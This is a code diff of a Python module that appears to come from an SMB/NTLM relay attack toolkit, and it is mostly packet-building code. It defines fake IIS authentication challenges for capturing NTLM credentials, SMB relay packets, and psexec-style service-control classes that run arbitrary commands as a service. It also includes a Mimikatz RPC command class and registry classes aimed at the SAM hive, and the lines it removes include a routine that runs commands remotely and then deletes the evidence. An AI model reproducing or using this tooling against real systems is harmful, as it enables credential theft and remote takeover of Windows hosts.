+		("WWWAuth",       "WWW-Authenticate: NTLM "),
+		("Payload",       ""),
+		("Payload-CRLF",  "\r\n"),
+		("Len",           "Content-Length: 0\r\n"),
+		("CRLF",          "\r\n"),
+	])
+
+	def calculate(self,payload):
+		self.fields["Payload"] = b64encode(payload)
+
+class IIS_Basic_401_Ans(Packet):
+	fields = OrderedDict([
+		("Code",          "HTTP/1.1 401 Unauthorized\r\n"),
+		("ServerType",    "Server: Microsoft-IIS/7.5\r\n"),
+		("Date",          "Date: "+HTTPCurrentDate()+"\r\n"),
+		("Type",          "Content-Type: text/html\r\n"),
+		("WWW-Auth",      "WWW-Authenticate: Basic realm=\"Authentication Required\"\r\n"),
+		("AllowOrigin",   "Access-Control-Allow-Origin: *\r\n"),
+		("AllowCreds",    "Access-Control-Allow-Credentials: true\r\n"),
+		("Len",           "Content-Length: 0\r\n"),
+		("CRLF",          "\r\n"),
+	])
+
+##################WEBDAV Relay Packet#########################
+class WEBDAV_Options_Answer(Packet):
+	fields = OrderedDict([
+		("Code",          "HTTP/1.1 200 OK\r\n"),
+		("Date",          "Date: "+HTTPCurrentDate()+"\r\n"),
+		("ServerType",    "Server: Microsoft-IIS/7.5\r\n"),
+		("Allow",         "Allow: GET,HEAD,POST,OPTIONS,TRACE\r\n"),
+		("Len",           "Content-Length: 0\r\n"),
+		("Keep-Alive:", "Keep-Alive: timeout=5, max=100\r\n"),
+		("Connection",    "Connection: Keep-Alive\r\n"),
+		("Content-Type",  "Content-Type: text/html\r\n"),
+		("CRLF",          "\r\n"),
+	])
+
+##################SMB Relay Packet############################
+def midcalc(data):  #Set MID SMB Header field.
+    return data[34:36]
+
+def uidcalc(data):  #Set UID SMB Header field.
+    return data[32:34]
+
+def pidcalc(data):  #Set PID SMB Header field.
+    pack=data[30:32]
+    return pack
+
+def tidcalc(data):  #Set TID SMB Header field.
+    pack=data[28:30]
+    return pack
+
+#Response packet.
+class SMBRelayNegoAns(Packet):
+	fields = OrderedDict([
+		("Wordcount",                 "\x11"),
+		("Dialect",                   ""),
+		("Securitymode",              "\x03"),
+		("MaxMpx",                    "\x32\x00"),
+		("MaxVc",                     "\x01\x00"),
+		("MaxBuffSize",               "\x04\x41\x00\x00"),
+		("MaxRawBuff",                "\x00\x00\x01\x00"),
+		("SessionKey",                "\x00\x00\x00\x00"),
+		("Capabilities",              "\xfd\xf3\x01\x80"),
+		("SystemTime",                "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"),
+		("SrvTimeZone",               "\xf0\x00"),
+		("KeyLen",                    "\x00"),
+		("Bcc",                       "\x10\x00"),
+		("Guid",                      os.urandom(16)),
+	])
+
+##Response packet.
+class SMBRelayNTLMAnswer(Packet):
+	fields = OrderedDict([
+		("Wordcount",             "\x04"),
+		("AndXCommand",           "\xff"),
+		("Reserved",              "\x00"),
+		("Andxoffset",            "\x5f\x01"),
+		("Action",                "\x00\x00"),
+		("SecBlobLen",            "\xea\x00"),
+		("Bcc",                   "\x34\x01"),
+                ###NTLMPACKET
+		("Data",                  ""),
+                ###NTLMPACKET
+
+	])
+
+
+#Request packet (no calc):
+class SMBSessionSetupAndxRequest(Packet):
+	fields = OrderedDict([
+		("Wordcount", "\x0c"),
+        	("AndXCommand", "\xff"),
+        	("Reserved","\x00" ),
+       	        ("AndXOffset", "\xec\x00"),              
+        	("MaxBuff","\xff\xff"),
+        	("MaxMPX", "\x32\x00"),
+        	("VCNumber","\x00\x00"),
+        	("SessionKey", "\x00\x00\x00\x00"),
+                ###NTLMPACKET
+		("Data",                  ""),
+                ###NTLMPACKET
+	])
+
+class SMBSessEmpty(Packet):
+	fields = OrderedDict([
+		("Empty",       "\x00\x00\x00"),
+	])
+##################SMB Request Packet##########################
 class SMBHeader(Packet):
     fields = OrderedDict([
         ("proto", "\xff\x53\x4d\x42"),
         ("cmd", "\x72"),
-        ("error-code", "\x00\x00\x00\x00" ),
+        ("errorcode", "\x00\x00\x00\x00" ),
         ("flag1", "\x08"),
         ("flag2", "\x01\xc8"),
         ("pidhigh", "\x00\x00"),
@@ -308,7 +445,6 @@ class SMBTreeConnectData(Packet):
 
     ])
     def calculate(self): 
-         
         ##Convert Path to Unicode first before any Len calc.
         self.fields["Path"] = self.fields["Path"].encode('utf-16le')
 
@@ -324,7 +460,42 @@ class SMBTreeConnectData(Packet):
         BccComplete    = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
         self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
 
+class SMBTreeDisconnect(Packet):
+    fields = OrderedDict([
+        ("Wordcount", "\x00"),
+        ("Bcc","\x00\x00"),
+
+    ])
+
 class SMBNTCreateData(Packet):
+    fields = OrderedDict([
+        ("Wordcount",     "\x18"),
+        ("AndXCommand",   "\xff"),
+        ("Reserved",      "\x00" ),
+        ("Andxoffset",    "\x00\x00"),
+        ("Reserved2",     "\x00"),
+        ("FileNameLen",   "\x07\x00"),
+        ("CreateFlags",   "\x16\x00\x00\x00"),
+        ("RootFID",       "\x00\x00\x00\x00"),
+        ("AccessMask",    "\x9F\x01\x02\x00"),
+        ("AllocSize",     "\x00\x00\x00\x00\x00\x00\x00\x00"),
+        ("FileAttrib",    "\x00\x00\x00\x00"),
+        ("ShareAccess",   "\x03\x00\x00\x00"),
+        ("Disposition",   "\x01\x00\x00\x00"),   
+        ("CreateOptions", "\x40\x00\x40\x00"),
+        ("Impersonation", "\x02\x00\x00\x00"),
+        ("SecurityFlags", "\x01"),
+        ("Bcc",           "\x08\x00"),
+        ("FileName",      ""),
+        ("FileNameNull",  "\x00"),
+    ])
+
+    def calculate(self):
+        Data1= str(self.fields["FileName"])+str(self.fields["FileNameNull"])
+        self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"])))
+        self.fields["Bcc"] = struct.pack("<h",len(Data1))
+
+class SMBNTCreateDataSVCCTL(Packet):
     fields = OrderedDict([
         ("Wordcount",     "\x18"),
         ("AndXCommand",   "\xff"),
@@ -343,16 +514,24 @@ class SMBNTCreateData(Packet):
         ("Impersonation", "\x02\x00\x00\x00"),
         ("SecurityFlags", "\x00"),
         ("Bcc",           "\x08\x00"),
-        ("FileName",      "\\svcctl"),
+        ("FileName",      ""),
         ("FileNameNull",  "\x00"),
     ])
 
     def calculate(self):
-
         Data1= str(self.fields["FileName"])+str(self.fields["FileNameNull"])
         self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"])))
         self.fields["Bcc"] = struct.pack("<h",len(Data1))
 
+class SMBLockingAndXResponse(Packet):
+    fields = OrderedDict([
+        ("Wordcount",     "\x02"),
+        ("AndXCommand",   "\xff"),
+        ("Reserved",      "\x00"),
+        ("Andxoffset",    "\x00\x00"),  
+        ("Bcc",           "\x00\x00"),
+    ])
+
 class SMBReadData(Packet):
     fields = OrderedDict([
         ("Wordcount",     "\x0a"),
@@ -374,6 +553,31 @@ class SMBReadData(Packet):
         self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
 
 class SMBWriteData(Packet):
+    fields = OrderedDict([
+        ("Wordcount",     "\x0e"),
+        ("AndXCommand",   "\xff"),
+        ("Reserved",      "\x00" ),
+        ("Andxoffset",    "\xde\xde"),
+        ("FID",           "\x06\x40"),
+        ("Offset",        "\x00\x00\x00\x00"),
+        ("TimeOut",       "\x00\x00\x00\x00"),
+        ("WriteMode",     "\x01\x00"),
+        ("Remaining",     "\x00\x00"),
+        ("DataLenHi",     "\x00\x00"),
+        ("DataLenLow",    "\xdc\x02"),
+        ("DataOffset",    "\x40\x00"),
+        ("HiOffset",      "\x00\x00\x00\x00"),   
+        ("Bcc",           "\xdc\x02"),
+        ("Padding",       "\x41"),
+        ("Data", ""),
+    ])
+
+    def calculate(self):
+
+        self.fields["DataLenLow"] = struct.pack("<H",len(str(self.fields["Data"])))
+        self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"])))
+
+class SMBDCERPCWriteData(Packet):
     fields = OrderedDict([
         ("Wordcount",     "\x0e"),
         ("AndXCommand",   "\xff"),
@@ -397,6 +601,8 @@ class SMBWriteData(Packet):
         self.fields["DataLenLow"] = struct.pack("<h",len(str(self.fields["Data"])))
         self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
 
+
+
 class SMBTransDCERPC(Packet):
     fields = OrderedDict([
         ("Wordcount",             "\x10"),
@@ -449,26 +655,26 @@ class SMBTransDCERPC(Packet):
 
 class SMBDCEData(Packet):
     fields = OrderedDict([
-        ("Version",       "\x05"),
-        ("VersionLow",    "\x00"),
-        ("PacketType",    "\x0b"),
-        ("PacketFlag",    "\x03"),
-        ("DataRepresent", "\x10\x00\x00\x00"),
-        ("FragLen",       "\x2c\x02"),
-        ("AuthLen",       "\x00\x00"),
-        ("CallID",        "\x00\x00\x00\x00"),
-        ("MaxTransFrag",  "\xd0\x16"),
-        ("MaxRecvFrag",   "\xd0\x16"),
-        ("GroupAssoc",    "\x00\x00\x00\x00"),
-        ("CTXNumber",     "\x01"),
-        ("CTXPadding",    "\x00\x00\x00"),
-        ("CTX0ContextID",  "\x00\x00"),
-        ("CTX0ItemNumber", "\x01\x00"),
-        ("CTX0UID", "\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03"),
-        ("CTX0UIDVersion", "\x02\x00"),
-        ("CTX0UIDVersionlo","\x00\x00"),
-        ("CTX0UIDSyntax",   "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60"),
-        ("CTX0UIDSyntaxVer","\x02\x00\x00\x00"),
+        ("Version",          "\x05"),
+        ("VersionLow",       "\x00"),
+        ("PacketType",       "\x0b"),
+        ("PacketFlag",       "\x03"),
+        ("DataRepresent",    "\x10\x00\x00\x00"),
+        ("FragLen",          "\x2c\x02"),
+        ("AuthLen",          "\x00\x00"),
+        ("CallID",           "\x01\x00\x00\x00"),
+        ("MaxTransFrag",     "\xd0\x16"),
+        ("MaxRecvFrag",      "\xd0\x16"),
+        ("GroupAssoc",       "\x00\x00\x00\x00"),
+        ("CTXNumber",        "\x01"),
+        ("CTXPadding",       "\x00\x00\x00"),
+        ("CTX0ContextID",    "\x00\x00"),
+        ("CTX0ItemNumber",   "\x01\x00"),
+        ("CTX0UID",          "\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03"),
+        ("CTX0UIDVersion",   "\x02\x00"),
+        ("CTX0UIDVersionlo", "\x00\x00"),
+        ("CTX0UIDSyntax",    "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60"),
+        ("CTX0UIDSyntaxVer", "\x02\x00\x00\x00"),
     ])
 
     def calculate(self):
@@ -502,6 +708,7 @@ class SMBDCEPacketData(Packet):
         self.fields["FragLen"] = struct.pack("<h",len(Data1))
         self.fields["AllocHint"] = struct.pack("<i",len(str(self.fields["Data"])))
 
+###Psexec
 class SMBDCESVCCTLOpenManagerW(Packet):
     fields = OrderedDict([
         ("MachineNameRefID",     "\xb5\x97\xb9\xbc"),
@@ -515,6 +722,11 @@ class SMBDCESVCCTLOpenManagerW(Packet):
     ])
 
     def calculate(self):
+        #Padding
+        if len(str(self.fields["MachineName"]))%2==0:
+           self.fields["MachineNameNull"] = "\x00\x00\x00\x00"
+        else:
+           self.fields["MachineNameNull"] = "\x00\x00"
         ## Convert to UTF-16LE
         self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["MachineName"]))+1)
         self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["MachineName"]))+1)
@@ -526,31 +738,28 @@ class SMBDCESVCCTLCreateService(Packet):
         ("MaxCount",             "\x0c\x00\x00\x00"),
         ("Offset",               "\x00\x00\x00\x00"),
         ("ActualCount",          "\x0c\x00\x00\x00"),
-        ("ServiceName",          "AyAGaxwLhCP"),
+        ("ServiceName",          ""),
         ("MachineNameNull",      "\x00\x00"),
         ("ReferentID",           "\x00\x00\x02\x00"),
         ("MaxCountRefID",        "\x11\x00\x00\x00"),
         ("OffsetID",             "\x00\x00\x00\x00"),
         ("ActualCountRefID",     "\x11\x00\x00\x00"),
-        ("DisplayNameID",        "DhhUFcsvrfJvLwRq"),
+        ("DisplayNameID",        ""),
         ("DisplayNameIDNull",    "\x00\x00\x00\x00"),
         ("AccessMask",           "\xff\x01\x0f\x00"),
-        ("ServerType",           "\x10\x01\x00\x00"),
+        ("ServerType",           "\x10\x00\x00\x00"),
         ("ServiceStartType",     "\x03\x00\x00\x00"),
         ("ServiceErrorCtl",      "\x00\x00\x00\x00"),
         ("BinPathMaxCount",      "\xb6\x00\x00\x00"),
         ("BinPathOffset",        "\x00\x00\x00\x00"),
         ("BinPathActualCount",   "\xb6\x00\x00\x00"),
-        ("FileName",             ""),
-        ("BinPathName",          ""),
         ("BinCMD",               ""),
-        ("BintoEnd",             ""),
         ("BinCMDTerminator",     "\x00\x00"),
         ("LoadOrderGroup",       "\x00\x00\x00\x00"),
         ("TagID",                "\x00\x00\x00\x00"),
         ("Dependencies",         "\x00\x00\x00\x00"),
         ("DependenciesLen",      "\x00\x00\x00\x00"),
-        ("ServiceStartName",     "\x00\x00\x00\x00"),
+        ("ServiceStartUser",     "\x00\x00\x00\x00"),
         ("Password",             "\x00\x00\x00\x00"),
         ("PasswordLen",          "\x00\x00\x00\x00"), 
         ("Padding",              "\x00\x00"),
@@ -558,30 +767,13 @@ class SMBDCESVCCTLCreateService(Packet):
     ])
 
     def calculate(self):
-        self.fields["BinCMD"] = self.fields["BinCMD"].replace("&", "^&")#Filtering
-        self.fields["BinCMD"] = self.fields["BinCMD"].replace("(", "^(")#Filtering
-        self.fields["BinCMD"] = self.fields["BinCMD"].replace(")", "^)")#Filtering
-        self.fields["BinCMD"] = self.fields["BinCMD"].replace("%", "^%")#Filtering
-        self.fields["BinCMD"] = self.fields["BinCMD"].replace(">", "^>")#Filtering
-        self.fields["BinCMD"] = self.fields["BinCMD"].replace(">", "^>")#Filtering
-        self.fields["BinCMD"] = self.fields["BinCMD"].replace("|", "^|")#Filtering
-        self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering
-        self.fields["BinCMD"] = self.fields["BinCMD"].replace("$", "^$")#Filtering
-        self.fields["BinCMD"] = self.fields["BinCMD"].replace("!", "^!")#Filtering
-        self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering
-        self.fields["BinCMD"] = self.fields["BinCMD"].replace("'", "^'")#Filtering
-        self.fields["BinCMD"] = self.fields["BinCMD"].replace("\"", "^\"")#Filtering
+        BinDataLen = str(self.fields["BinCMD"])
 
-        File = "%WINDIR%\\Temp\\"+self.fields["FileName"]
-        WinTmpPath = "%WINDIR%\\Temp\\Results.txt"
-        CleanService = "sc delete "+self.fields["ServiceName"]+"^&"#Start by deleting the service..then run the cmd.
-        FinalCMD = CleanService+"del /F /Q "+File+"^&"+self.fields["BinCMD"]+" ^>"+WinTmpPath+" >"+File
-        #That is: delete service we just ran, delete the bat file (it's loaded in memory, no pb), echo original cmd into random .bat file, run .bat file.
-        self.fields["FileName"] = ""#Reset it.
-        self.fields["BinPathName"] = "%COMSPEC% /C echo "#make sure to escape "&" when using echo.
-        self.fields["BinCMD"] = FinalCMD
-        self.fields["BintoEnd"] = "& %COMSPEC% /C "+File
-        BinDataLen = str(self.fields["BinPathName"])+str(self.fields["BinCMD"])+str(self.fields["BintoEnd"])
+        #Padding
+        if len(str(self.fields["BinCMD"]))%2==0:
+           self.fields["LoadOrderGroup"] = "\x00\x00\x00\x00"
+        else:
+           self.fields["LoadOrderGroup"] = "\x00\x00"
 
         ## Calculate first
         self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1)
@@ -590,12 +782,11 @@ class SMBDCESVCCTLCreateService(Packet):
         self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
         self.fields["MaxCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
         self.fields["ActualCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
-        ## Then convert to UTF-16LE, yeah it's weird..
+
+        ## Then convert to UTF-16LE
         self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
         self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le')
-        self.fields["BinPathName"] = self.fields["BinPathName"].encode('utf-16le')
         self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
-        self.fields["BintoEnd"] = self.fields["BintoEnd"].encode('utf-16le')
 
 class SMBDCESVCCTLOpenService(Packet):
     fields = OrderedDict([
@@ -604,15 +795,20 @@ class SMBDCESVCCTLOpenService(Packet):
         ("Offset",               "\x00\x00\x00\x00"),
         ("ActualCount",          "\x00\x00\x00\x00"),
         ("ServiceName",          ""),
-        ("MachineNameNull",      "\x00\x00"),
+        ("ServiceNameNull",      "\x00\x00"),
         ("AccessMask",           "\xff\x01\x0f\x00"),
     ])
 
     def calculate(self):
+        #Padding
+        if len(str(self.fields["ServiceName"]))%2==0:
+           self.fields["ServiceNameNull"] = "\x00\x00\x00\x00"
+        else:
+           self.fields["ServiceNameNull"] = "\x00\x00"
         ## Calculate first
         self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
         self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
-        ## Then convert to UTF-16LE, yeah it's weird..
+        ## Then convert to UTF-16LE
         self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
 
 class SMBDCESVCCTLStartService(Packet):
@@ -621,6 +817,42 @@ class SMBDCESVCCTLStartService(Packet):
         ("MaxCount",             "\x00\x00\x00\x00\x00\x00\x00\x00"),
     ])
 
+class SMBDCESVCCTLControlService(Packet):
+    fields = OrderedDict([
+        ("ContextHandle",        ""),
+        ("ControlOperation",     "\x01\x00\x00\x00"),
+    ])
+
+class SMBDCESVCCTLDeleteService(Packet):
+    fields = OrderedDict([
+        ("ContextHandle",        ""),
+    ])
+
+class SMBDCESVCCTLCloseService(Packet):
+    fields = OrderedDict([
+        ("ContextHandle",        ""),
+    ])
+
+class SMBDCESVCCTLQueryService(Packet):
+    fields = OrderedDict([
+        ("ContextHandle",        ""),
+    ])
+
+class SMBDCEMimiKatzRPCCommand(Packet):
+    fields = OrderedDict([
+        ("ContextHandleLen",     "\x07\x00\x00\x00"),
+        ("ContextHandle",        "\x00\x00\x00\x00"),
+        ("ContextHandleLen2",    "\x07\x00\x00\x00"),
+        ("CMD",                  ""),
+        ("CMDEnd",               "\x00\x00"),
+    ])
+
+    def calculate(self):
+        self.fields["ContextHandleLen"] = struct.pack("<i",len(str(self.fields["CMD"]))+1)
+        self.fields["ContextHandleLen2"] = struct.pack("<i",len(str(self.fields["CMD"]))+1)
+        self.fields["CMD"] = self.fields["CMD"].encode('utf-16le')
+
+
 class OpenAndX(Packet):
     fields = OrderedDict([
         ("Wordcount",             "\x0f"),
@@ -638,12 +870,11 @@ class OpenAndX(Packet):
         ("Reserved2",             "\x00\x00\x00\x00"),
         ("Bcc",                   "\x0b\x00"),
         ("Terminator",            ""),
-        ("File",                  "\\hola.txt"),
-        ("FileNull",              "\x00"),#00 00
+        ("File",                  ""),
+        ("FileNull",              "\x00"),
 
     ])
     def calculate(self):
-        #self.fields["File"] = self.fields["File"].encode('utf-16le')
         self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Terminator"])+str(self.fields["File"])+str(self.fields["FileNull"])))
 
 class ReadRequest(Packet):
@@ -662,7 +893,7 @@ class ReadRequestAndX(Packet):
         ("Wordcount",             "\x0C"),
         ("AndXCommand",           "\xff"),
         ("Reserved",              "\x00"),
-        ("AndXOffset",            "\xde\xde"),#
+        ("AndXOffset",            "\xde\xde"),
         ("FID",                   "\x02\x40"),
         ("Offset",                "\x00\x00\x00\x00"),
         ("MaxCountLow",           "\xf0\xff"),
@@ -674,6 +905,42 @@ class ReadRequestAndX(Packet):
 
     ])
 
+class SMBDCERPCReadRequestAndX(Packet):
+    fields = OrderedDict([
+        ("Wordcount",             "\x0C"),
+        ("AndXCommand",           "\xff"),
+        ("Reserved",              "\x00"),
+        ("AndXOffset",            "\xde\xde"),
+        ("FID",                   "\x02\x40"),
+        ("Offset",                "\x00\x00\x00\x00"),
+        ("MaxCountLow",           "\xb8\x10"),
+        ("MinCount",              "\xb8\x10"),
+        ("Timeout",               "\xff\xff\xff\xff"),
+        ("RemainingBytes",        "\x00\x00"),
+        ("HighOffset",            "\x00\x00\x00\x00"),
+        ("Bcc",                   "\x00\x00"),
+
+    ])
+
+class WriteRequestAndX(Packet):
+    fields = OrderedDict([
+        ("Wordcount",             "\x06"),
+        ("AndXCommand",           "\xff"),
+        ("Reserved",              "\x00"),
+        ("AndXOffset",            "\xde\xde"),
+        ("FID",                   "\x02\x40"),
+        ("Offset",                "\x00\x00\x00\x00"),
+        ("Reserved2",             "\xff\xff\xff\xff"),
+        ("WriteMode",             "\x00\x00"),
+        ("Remaining",             "\x00\x00"),
+        ("DataLenHi",             "\x00\x00"),
+        ("DataLenLow",            "\x0a\x00"),#actual Len
+        ("DataOffset",            "\x3f\x00"),
+        ("Bcc",                   "\x0a\x00"),
+        ("Padd",                  ""), 
+        ("Data",                  ""),
+
+    ])
 
 class CloseRequest(Packet):
     fields = OrderedDict([
@@ -694,6 +961,7 @@ class DeleteFileRequest(Packet):
         ("FileNull",              "\x00\x00"),
 
     ])
+
     def calculate(self):
         self.fields["File"] = self.fields["File"].encode('utf-16le')
         self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["BuffType"])+str(self.fields["File"])+str(self.fields["FileNull"])))
@@ -708,232 +976,138 @@ class SMBEcho(Packet):
 
     ])
 
-###########################PSEXEC#############################################
 
-def ExtractCommandOutput(data):
-    DataLen = struct.unpack("<H", data[61:63])[0]
-    Output = data[63:63+DataLen]
-    return Output
+###Winreg
+class SMBDCEWinRegOpenHKLMKey(Packet):
+    fields = OrderedDict([
+        ("Ptr",                  "\x00\x00\x00\x00"),
+        ("AccessMask",           "\x00\x00\x00\x02"),
+    ])
 
-def SMBReadRecv(s):
-    Completedata=[]
-    data=''
-    Start=time.time()
-    s.setblocking(0)
-    while 1:
-        if Completedata and time.time()-Start > 0.5:#Timeout
-            break
-        try:
-            data = s.recv(1024)
-            if data:
-                Completedata.append(data)
-                Start=time.time()
-            else:
-                break
-        except:
-            pass
+class SMBDCEWinRegOpenHKCUKey(Packet):
+    fields = OrderedDict([
+        ("Ptr",                  "\x00\x00\x00\x00"),
+        ("AccessMask",           "\x00\x00\x00\x02"),
+    ])
 
-    s.setblocking(1)
-    return s, ''.join(Completedata)
+class SMBDCEWinRegOpenKey(Packet):
+    fields = OrderedDict([
+        ("ContextHandle",        ""),
+        ("KeySizeUnicode",       "\x00\x00"),
+        ("MaxKeySizeUnicode",    "\x00\x00"),
+        ("KeyPtr",               "\xa9\xdc\x00\x00"),
+        ("ActualKeyMaxSize",     "\x00\x00\x00\x00"),#not unicode
+        ("ActualKeyOffset",      "\x00\x00\x00\x00"),
+        ("ActualKeySize",        "\x00\x00\x00\x00"),#not unicode
+        ("Key",                  ""),
+        ("KeyTerminator",        "\x00\x00"),
+        ("AccessOption",         "\x01\x00\x00\x00"),
+        ("AccessMask",           "\x00\x00\x00\x02"),
+    ])
+
+    def calculate(self):
+        #Padding
+        if len(str(self.fields["Key"]))%2==0:
+           self.fields["KeyTerminator"] = "\x00\x00\x00\x00"
+        else:
+           self.fields["KeyTerminator"] = "\x00\x00"
+        #Calc first.
+        self.fields["ActualKeyMaxSize"] = struct.pack("<i",len(str(self.fields["Key"]))+1)
+        self.fields["ActualKeySize"] = struct.pack("<i",len(str(self.fields["Key"]))+1)
+        #Convert to unicode.
+        self.fields["Key"] = self.fields["Key"].encode('utf-16le')
+        #Recalculate again, in unicode this time.
+        self.fields["KeySizeUnicode"] = struct.pack("<h",len(str(self.fields["Key"]))+2)
+        self.fields["MaxKeySizeUnicode"] = struct.pack("<h",len(str(self.fields["Key"]))+2)
 
 
-def RunCmd(data, s, clientIP, Username, Domain, Command, Logs, Host):
-    if data == None:
-        return False
-    head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-    t = SMBNTCreateData()
-    t.calculate()
-    packet0 = str(head)+str(t)
-    buffer1 = longueur(packet0)+packet0
-    s.send(buffer1)
-    data = s.recv(2048)
+class SMBDCEWinRegQueryInfoKey(Packet):
+    fields = OrderedDict([
+        ("ContextHandle",        ""),
+        ("ClassNameLen",         "\x00\x00"),
+        ("ClassNameMaxLen",      "\x00\x04"),
+        ("ClassNameRefID",       "\x68\x89\x00\x00"),
+        ("ClassNameMaxCount",    "\x00\x02\x00\x00"),
+        ("ClassNameOffset",      "\x00\x00\x00\x00"),
+        ("ClassNameActualCount", "\x00\x00\x00\x00"),
 
-    ## Fail Handling.
-    if data[8:10] == "\xa2\x22":
-        print "[+] NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation.\n"
-        return False
+    ])
 
-    ## DCE/RPC Write.
-    if data[8:10] == "\xa2\x00":
-        head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-        x = SMBDCEData()
-        x.calculate()
-        f = data[42:44]
-        t = SMBWriteData(FID=f,Data=x)
-        t.calculate()
-        packet0 = str(head)+str(t)
-        buffer1 = longueur(packet0)+packet0
-        s.send(buffer1)
-        data = s.recv(2048)
-    ## DCE/RPC Read.
-    if data[8:10] == "\x2f\x00":
-            head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-            t = SMBReadData(FID=f,MaxCountLow="\x00\x04", MinCount="\x00\x04",Offset="\x00\x00\x00\x00")
-            t.calculate()
-            packet0 = str(head)+str(t)
-            buffer1 = longueur(packet0)+packet0
-            s.send(buffer1)
-            data = s.recv(2048)
-            ## DCE/RPC SVCCTLOpenManagerW.
-            if data[8:10] == "\x2e\x00":
-                head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-                w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x02\x00", MachineName=Host[0])
-                w.calculate()
-                x = SMBDCEPacketData(Data=w)
-                x.calculate()
-                t = SMBTransDCERPC(FID=f,Data=x)
-                t.calculate()
-                packet0 = str(head)+str(t)
-                buffer1 = longueur(packet0)+packet0
-                s.send(buffer1)
-                data = s.recv(2048)
+class SMBDCEWinRegCloseKey(Packet):
+    fields = OrderedDict([
+        ("ContextHandle",        ""),
 
-                ##Error handling.
-                if data[8:10] == "\x2e\x00":
-                    if data[len(data)-4:] == "\x05\x00\x00\x00":
-                        print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?\n"
-                        return False
+    ])
 
-                ## DCE/RPC Create Service.
-                if data[8:10] == "\x25\x00":
-                    ContextHandler = data[84:104]
-                    ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)])
-                    ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)])
-                    FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat'
-                    FilePath = FileChars
-                    head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-                    w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler, ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars, FileName=FilePath,BinCMD=Command)
-                    w.calculate()
-                    x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w)
-                    x.calculate()
-                    t = SMBTransDCERPC(FID=f,Data=x)
-                    t.calculate()
-                    packet0 = str(head)+str(t)
-                    buffer1 = longueur(packet0)+packet0
-                    s.send(buffer1)
-                    data = s.recv(2048)
-                    #print "[+] Creating service"
+class SMBDCEWinRegCreateKey(Packet):
+    fields = OrderedDict([
+        ("ContextHandle",        ""),
+        ("KeySizeUnicode",       "\x00\x00"),
+        ("MaxKeySizeUnicode",    "\x00\x00"),
+        ("KeyPtr",               "\xde\x01\x00\x00"),
+        ("ActualKeyMaxSize",     "\x00\x00\x00\x00"),
+        ("ActualKeyOffset",      "\x00\x00\x00\x00"),
+        ("ActualKeySize",        "\x00\x00\x00\x00"),
+        ("KeyName",              "SAM"),
+        ("KeyTerminator",        "\x00\x00"),
+        ("KeyClassLen",          "\x00\x00"),
+        ("KeyClassMaxLen",       "\x00\x00"),
+        ("KeyClassPtr",          "\x00\x00\x00\x00"),
+        ("AccessOption",         "\x01\x00\x00\x00"),
+        ("AccessMask",           "\x00\x00\x00\x02"),
+        ("SecDescRefID",         "\x29\xd8\x00\x00"),
+        ("SecDescLen",           "\x00\x00\x00\x00"),
+        ("SecDescPtr",           "\x00\x00\x00\x00"),
+        ("SecDescMaxLen",        "\x00\x00\x00\x00"),
+        ("SecDescMaxSize",       "\x00\x00\x00\x00"),
+        ("Inherit",              "\x00\x00\x00\x00"),
+        ("AccessTakenRefID",     "\x9c\x3e\x00\x00"),
+        ("ActionTakenRefID",     "\x01\x00\x00\x02"),
 
-                    ## DCE/RPC SVCCTLOpenService.
